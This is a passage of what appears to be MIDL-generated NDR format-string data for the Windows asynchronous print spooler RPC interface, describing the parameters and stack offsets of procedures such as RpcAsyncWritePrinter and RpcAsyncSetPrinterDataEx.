*/\n\t\t\t0x6,\t\t/* 6 */\n/* 618 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 620 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 622 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 624 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 626 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 628 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 630 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 632 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter Level */\n\n/* 634 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 636 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 638 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pPrinter */\n\n/* 640 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 642 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 644 */\tNdrFcShort( 0x494 ),\t/* Type Offset=1172 */\n\n\t/* Parameter cbBuf */\n\n/* 646 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 648 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 650 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 652 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 654 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 656 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 658 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 660 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 662 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncStartDocPrinter */\n\n/* 664 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 666 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 670 */\tNdrFcShort( 0xa ),\t/* 10 */\n/* 672 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 674 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 676 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 678 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 680 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 682 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 684 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 686 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 688 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 690 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 692 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 694 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 696 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 698 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 700 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pDocInfoContainer */\n\n/* 702 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 704 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 706 */\tNdrFcShort( 0x4ee ),\t/* Type Offset=1262 */\n\n\t/* Parameter pJobId */\n\n/* 708 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 710 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 712 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 714 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 716 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 718 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncStartPagePrinter */\n\n/* 720 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 722 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 726 */\tNdrFcShort( 0xb ),\t/* 11 */\n/* 728 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 730 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 732 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 734 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 736 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 738 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 740 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 742 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 744 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 746 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 748 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 750 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 752 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 754 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 756 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Return value */\n\n/* 758 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 760 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 762 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncWritePrinter */\n\n/* 764 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 766 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 770 */\tNdrFcShort( 0xc ),\t/* 12 */\n/* 772 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 774 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 776 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 778 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 780 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 782 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 784 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 786 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 788 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 790 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 792 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 794 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 796 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 798 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 800 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pBuf */\n\n/* 802 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 804 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 806 */\tNdrFcShort( 0x502 ),\t/* Type Offset=1282 */\n\n\t/* Parameter cbBuf */\n\n/* 808 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 810 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 812 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcWritten */\n\n/* 814 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 816 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 818 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 820 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 822 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 824 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEndPagePrinter */\n\n/* 826 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 828 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 832 */\tNdrFcShort( 0xd ),\t/* 13 */\n/* 834 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 836 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 838 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 840 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 842 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 844 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 846 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 848 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 850 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 852 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 854 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 856 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 858 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 860 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 862 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Return value */\n\n/* 864 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 866 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 868 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEndDocPrinter */\n\n/* 870 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 872 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 876 */\tNdrFcShort( 0xe ),\t/* 14 */\n/* 878 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 880 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 882 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 884 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 886 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 888 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 890 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 892 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 894 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 896 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 898 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 900 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 902 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 904 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 906 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Return value */\n\n/* 908 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 910 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 912 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncAbortPrinter */\n\n/* 914 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 916 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 920 */\tNdrFcShort( 0xf ),\t/* 15 */\n/* 922 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 924 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 926 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 928 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 930 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 932 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 934 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 936 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 938 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 940 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 942 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 944 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 946 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 948 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 950 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Return value */\n\n/* 952 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 954 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 956 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncGetPrinterData */\n\n/* 958 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 960 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 964 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 966 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 968 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 970 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 972 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 974 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 976 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 978 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 980 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 982 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 984 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 986 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 988 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 990 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 992 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 994 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pValueName */\n\n/* 996 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 998 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1000 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pType */\n\n/* 1002 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1004 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1006 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pData */\n\n/* 1008 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 1010 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1012 */\tNdrFcShort( 0x460 ),\t/* Type Offset=1120 */\n\n\t/* Parameter nSize */\n\n/* 1014 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1016 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1018 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 1020 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1022 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1024 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1026 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1028 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1030 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncGetPrinterDataEx */\n\n/* 1032 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1034 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1038 */\tNdrFcShort( 0x11 ),\t/* 17 */\n/* 1040 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 1042 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1044 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1046 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1048 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1050 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1052 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 1054 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 1056 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1058 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1060 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1062 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1064 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1066 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1068 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pKeyName */\n\n/* 1070 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1072 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1074 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pValueName */\n\n/* 1076 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1078 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1080 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pType */\n\n/* 1082 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1084 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1086 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pData */\n\n/* 1088 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 1090 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1092 */\tNdrFcShort( 0x47e ),\t/* Type Offset=1150 */\n\n\t/* Parameter nSize */\n\n/* 1094 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1096 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1098 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 1100 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1102 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1104 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1106 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1108 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1110 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncSetPrinterData */\n\n/* 1112 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1114 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1118 */\tNdrFcShort( 0x12 ),\t/* 18 */\n/* 1120 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1122 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1124 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1126 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1128 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 1130 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1132 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1134 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1136 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1138 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1140 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1142 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1144 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1146 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1148 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pValueName */\n\n/* 1150 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1152 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1154 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter Type */\n\n/* 1156 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1158 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1160 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pData */\n\n/* 1162 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1164 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1166 */\tNdrFcShort( 0x460 ),\t/* Type Offset=1120 */\n\n\t/* Parameter cbData */\n\n/* 1168 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1170 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1172 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1174 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1176 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1178 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncSetPrinterDataEx */\n\n/* 1180 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1182 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1186 */\tNdrFcShort( 0x13 ),\t/* 19 */\n/* 1188 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1190 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1192 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1194 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1196 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 1198 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1200 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 1202 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1204 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1206 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1208 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1210 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1212 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1214 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1216 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pKeyName */\n\n/* 1218 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1220 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1222 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pValueName */\n\n/* 1224 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1226 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1228 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter Type */\n\n/* 1230 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1232 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1234 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pData */\n\n/* 1236 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1238 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1240 */\tNdrFcShort( 0x47e ),\t/* Type Offset=1150 */\n\n\t/* Parameter cbData */\n\n/* 1242 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1244 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1246 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1248 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1250 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1252 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncClosePrinter */\n\n/* 1254 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1256 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1260 */\tNdrFcShort( 0x14 ),\t/* 20 */\n/* 1262 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1264 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe0,\t\t/* Ctxt flags:  via ptr, in, out, */\n/* 1266 